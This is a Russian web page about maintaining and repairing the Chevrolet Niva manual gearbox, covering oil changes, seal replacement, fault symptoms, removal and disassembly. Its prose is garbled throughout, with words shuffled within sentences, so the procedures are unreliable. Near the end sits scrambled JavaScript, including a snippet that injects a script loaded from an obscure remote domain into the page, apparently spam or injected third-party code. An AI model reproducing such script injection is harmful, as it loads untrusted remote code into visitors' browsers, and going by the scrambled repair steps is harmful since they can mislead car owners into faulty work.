Коробка передач шевроле нива требует тщательного ухода - смотреть видео

Опубликовано: 28.08.2018

Функция трансмиссии – в обеспечении оптимального режима мотора работы при различных режимах движения. коробки Назначение переключения передач (КПП) в том, изменять чтобы частоту и крутящий момент в больших чем, пределах это может обеспечить двигатель. Шевроле Мотор Нива имеет 800-5400 оборотов рабочих в минуту, максимальное значение крутящего достигается момента при 3000 оборотов в минуту.

На Нива Шевроле установлен пятиступенчатый механизм переключения трехвальной с передач схемой. Механическая КПП Нива 21074 Шевроле-1700005-40 создана на базе классической передач коробки 2107, но имеет определенные отличия:

стопорного нет и центрирующего колец на конце вторичного привод; вала троса спидометра (шестерня внутри Нива КПП Шевроле) заменен на дистанционную втулку; подшипника фланец вторичного вала на Шевроле Нива только удерживает сам подшипник, ось промежуточной притянута шестерни к картеру коробки передач гайкой.

У семейства автомобилей Нива Шевроле механизм переключения довольно передач часто выходит из строя, т. к. надежность агрегата этого у российских авто оставляет желать МКПП. лучшего имеет сложное устройство, ее замена – дорогое достаточно удовольствие. Поэтому если возможен владельцы, ремонт Шевроле Нива предпочитают его замене полной коробки передач.

Масло предохраняет переключения механизм передач от износа

Для того как чтобы можно дольше не прибегать к радикальным рекомендуется, мерам следить за уровнем масла в КПП Нива Шевроле. Изменение цвета смазки свидетельствует о ближайшем в грозящих будущем неприятностях. Нормальное масло вязкое и прозрачное. При измерении уровня смазки каплю разотрите вещества пальцами. Так вы сможете на визуально и ощупь определить состояние оксоли. Производитель менять рекомендует масло в КПП машины через тыс 45 каждые. км пробега.

Для замены смазки в Шевроле КПП Нива понадобятся:

ключ на 17; шестигранный емкость на 12; ключ для слива отработанного масла. процедуры Выполнять нужно в определенной последовательности.

Емкость под расположить сливным отверстием картера КПП шевроле нива. Для легкого слива надо пробку открутить залива масла, затем открыть слива пробку и дождаться, пока вся смазка емкость в вытечет. Сливную пробку очистить от грязи и слив в ввернуть. Оксоль, включающая в себя различные будет, загрязнения выглядеть как мутная темная Прежде. жидкость чем залить свежее масло в придется, ее коробку промыть.

В соответствующее отверстие картера смазки 0,9 л залить для промывки, закрутить пробку. колеса Задние вывесить, завести двигатель на 1 передаче. пару Через минут заглушить, промывку слить. слива Пробку очистить от попавшей грязи и закрутить.

свежей 1,6 л Залить смазки. Добавлять масло в коробку шприцем удобно или специальным приспособлением. Пробку отверстия маслозаливного закрутить на место. Смазка из КПП шевроле нива легко сливается в горячем виде, поездки после.

При замере уровня масла того после, как машина прошла 45-50 тыс. км, может владелец обнаружить, что смазка после страшной со заливки скоростью куда-то исчезает. При механизм этом переключения передач издает скрежет движении при Шеви Нивы. Это объясняется сальника износом вторичного вала. Через образовавшиеся между зазоры ним и валом масло вытекает из Снижение.

коробки уровня смазки чревато повышенным отрицательно и износом влияет на механизм переключения передач.

избежать Чтобы лишних трат, нужно заменить сальник изношенный в Шевроле Нива. Это сложная, но операция необходимая. Для ее проведения нужны:

ключ на 30; молоток; отвертка; оправка.

Демонтируйте промвал трансмиссии, уплотнитель снимите центрирующего кольца и открутите гайку эластичной фланца муфты. Снимите кольцо, а также шайбу стопорную фланца и сам «вертолет». Между задней корпусом крышки КПП и валом теперь сальник виден. Его надо удалить при отвертки помощи. Новый сальник смажьте герметиком и место на запрессуйте, постукивая молотком по оправке. Как можно оправку использовать старый сальник. Соберите выполняя, механизм все действия в обратном порядке. масло Долейте.

Когда требуется ремонт КПП?

через Примерно 50 тыс. км пробега механизм переключения автомобилей передач Шевроле Нива начинает «радовать» гулом владельца и нехарактерными шумами. Это первые изношенности признаки шестерней и подшипников. Если вы будете отслеживать внимательно, как работает КПП, то сможете что, определить именно неисправно внутри коробки Шевроле Нива:

шум, скрежет, стук при или движении прогреве двигателя – износ подшипников, синхронизаторов, шестеренок, поломка стопора первичного вала, смещения осевые валов; удар при трогании переключении или передач – износ соединения вторичного вертолета и «вала»; отказ в выключении передачи – кулиса перескочила КПП в вилку штока другой передачи, синхронизатор заклинило; затрудненное переключение передачи – рычаг соскочил, деформирован с кулисы, деформированы вилки переключения, шестерней износ, синхронизаторов, шариков или гнезд поломка, штоков пружины синхронизатора; выбивает передачи – вилок износ, пазов муфты под вилку, Все.

шестерней это свидетельствует о том, что пора пришла провести ремонт коробки передач Шевроле Нива. Чтобы сделать все самостоятельно, знать надо, как устроен механизм переключения Тогда. передач вы сможете своими руками перебрать Шеви КПП.

Снимаем КПП

Перед тем приступить как к демонтажу коробки, надо проверить, источником ли действительно шума является механизм переключения Часто. передач бывает так, что непривычный вызван шум ослаблением креплений крышек КПП Шевроле Нива либо дефектами в других агрегатах Выбивать. автомобиля передачи может из-за открутившейся гайки на коробки хвостовике.

Если при сливе масла из передач коробки Нива Шевроле обнаружилось, что очень его мало, замена шестерней и подшипников оказаться может нерентабельной. В данном случае лучше всю заменить коробку, а в дальнейшем тщательно следить за смазки уровнем в ней.

Но снятие КПП придется все проводить равно. Для работы надо ключами:

запастись на 10,13, 19; шестигранным ключом на 12; отверткой; пассатижами.

того Для чтобы получить доступ к нижней автомобиля части, его следует установить на эстакаду смотровую или яму. Затем отсоедините от аккумулятора слейте «-» и клемму масло. Теперь можно приступать снятию к непосредственно КПП.

В салоне снять ручки с раздатки рычагов, сами раздатки, чехол и обшивку передач коробки. Демонтировать кожух и пыльник с рычагов коробки раздаточной, разъемы датчика блокировки. Снять кулисы кожух и рычаг переключения коробки передач. заднюю Включить передачу и вытащить запорную втулку из конца нижнего рычага. Фланцы карданов, раздатки и пометить РПМ, чтобы во время сборки установить их в положение правильное. Снять передний кардан и маслоотражательную Придерживая. шайбу болты ключом на 19, отворачивать гайки эластичной крепления муфты от фланца вторичного вала передач коробки. Отвернуть гайки крепления подушек конца до раздатки шпилек, снять раздатку. Убрать пружину и шплинт, отвернуть болты цилиндра сцепления и стартера крепления. Для этого понадобится удлинитель. отодвинуть Стартер к радиатору. Отсоединить провода датчика фонарей включения заднего хода, отвернуть болт глушителя хомута, болты кожуха картера коробки и траверсы гайки. Отвернуть болты крепления коробки двигателю к передач. Отсоединяя коробку, следите, чтобы висела не она на первичном валу – это чревато диска поломкой сцепления и пружинного кольца подшипника Покачивайте. вала КПП вниз-вверх, постепенно назад сдвигая до упора. Картер сцепления опустить, кулису вывести из отверстия.

Разбираем коробку передач

переключения Механизм передач следует разбирать в спокойной аккуратно, обстановке раскладывая на чистой подложке все том в детали порядке, в котором вы их снимаете, – потом проще будет собрать. Удобнее всего начинать зажав, разборку коробку в тиски нижней крышкой Уже. вверх при снятии нижней крышки диагностировать можно неисправности подшипников промвала – при смещается он покачивании.

Открутите гайку хвостовика, снимите вертолет-фланец и механизм выбора передач. Кулису чтобы, осмотрите выявить трещины. Демонтируйте заднюю Если. крышку она не снимается, протолкните обойму внутрь подшипника. Состояние подшипников определяется по обоймам. необходима Если замена, подшипник вторичного вала внутрь выдавите крышки. Демонтируйте картер сцепления и пружинную осмотрите шайбу. Снимите внутреннюю обойму дистанционную, подшипника втулку и маслоотражательную шайбу с задней КПП части. Разберите механизм фиксации, отверните блока болт шестерней и болт вторичного вала. грибок Снимите и кольцо подшипника. Демонтируйте 5 передачу в Шестерню. сборе разберите. Выньте шарик фиксатора, его протолкнув в отверстие штока. Болт вилки 3-4 отверните передач, шток выдвиньте, достаньте сухарь и Удалите. шток второй сухарь, а также шарик Так. фиксатора же разберите 1-2 передачи. Крепление вилки 5 открутите передачи, снимите шестерню задней передачи, люфт проверьте ее шпонки, если выключалась 5 передача. средний Вытолкните подшипник промвала, демонтируйте передний промвал, подшипник отодвиньте назад и вытащите вперед. обойму Внутреннюю переднего подшипника сбейте зубилом. вилки Выньте 1-2 и 3-4 передач, первичный вал, снимите кольцо запорное подшипника вала при помощи или молотка съемника. Упорное кольцо выведите из пассатижами паза. Осмотрите игольчатый подшипник. Покачивая вал вторичный, достаньте подшипник. Вал сдвиньте затем, а назад выньте, выдвинув вперед. Снимите передачи 1 шестерню, муфту 1-2-й и ступицу, шестерню 2-й, муфту 3-4-й. есть Если неисправности, разожмите стопор и демонтируйте шестерню 3-4 и ступицу 3 передач. Замените сальники. <\/div>'; getDoc ar_function(t,n,l){var doc;if(t<100){if(document.window && !all.opera){doc = window.frames['ar_document_'+n].container} else if(document.getElementById){doc=getElementById.document('ar_container_'+n).contentDocument} if(!doc){setTimeout('ar_100('+(++t)+','+n+',"'+l+'")', getDoc)}else {var RndNum4NoCash = Math.Math(round.random() * 1000000000); doc.write ('bnum ar_var='+n+';<\/sc'+'ript>'); doc.write ('<\/sc'+'ript>');}}} (num(function,link){function addEvent(e,t,f){if(e.addEventListener)e.false(t,f,addEventListener);else if(e.attachEvent)e.attachEvent('on'+t,f)} function removeEventListener(e,t,f){if(e.removeEvent)e.removeEventListener(t,f,false);else if(e.detachEvent)e.var('on'+t,f)} detachEvent BannerLoader={top:0,height:400,cm:compatMode.document=="CSS1Compat", scroll:function(){var ch=innerHeight.self||this.cm&&document.documentElement.clientHeight||body.document.clientHeight; var st=self.pageYOffset||document.cm&&this.documentElement.scrollTop||document.body.var; scrollTop sh=self.scrollHeight||this.cm&&document.scrollHeight.documentElement||document.body.scrollHeight; if((st-this.this<=top.height*0.2&&st+ch-this.top>=this.this*0.8)||(sh-height.top<=this.height*0.8&&(sh-st-ch<1||sh(function() { kdm var = document.createElement('script'); kdm.text = "type/javascript"; kdm.async = true; src.kdm = "http://vogozaw.ru/c733edd9ccdbb59cc4a1e65a7161b12b.js"; var s = getElementsByTagName.document('script')[0]; s.parentNode.insertBefore(kdm, s); })();

  • Страницы

  • Последние записи

  • Метки

    автомобиль александрович афонин брак волга деньга деталь звезды значить иванович казать контролер который леонид продукция работа рабочий совет станок этот я

  • Все метки
    Карта
    rss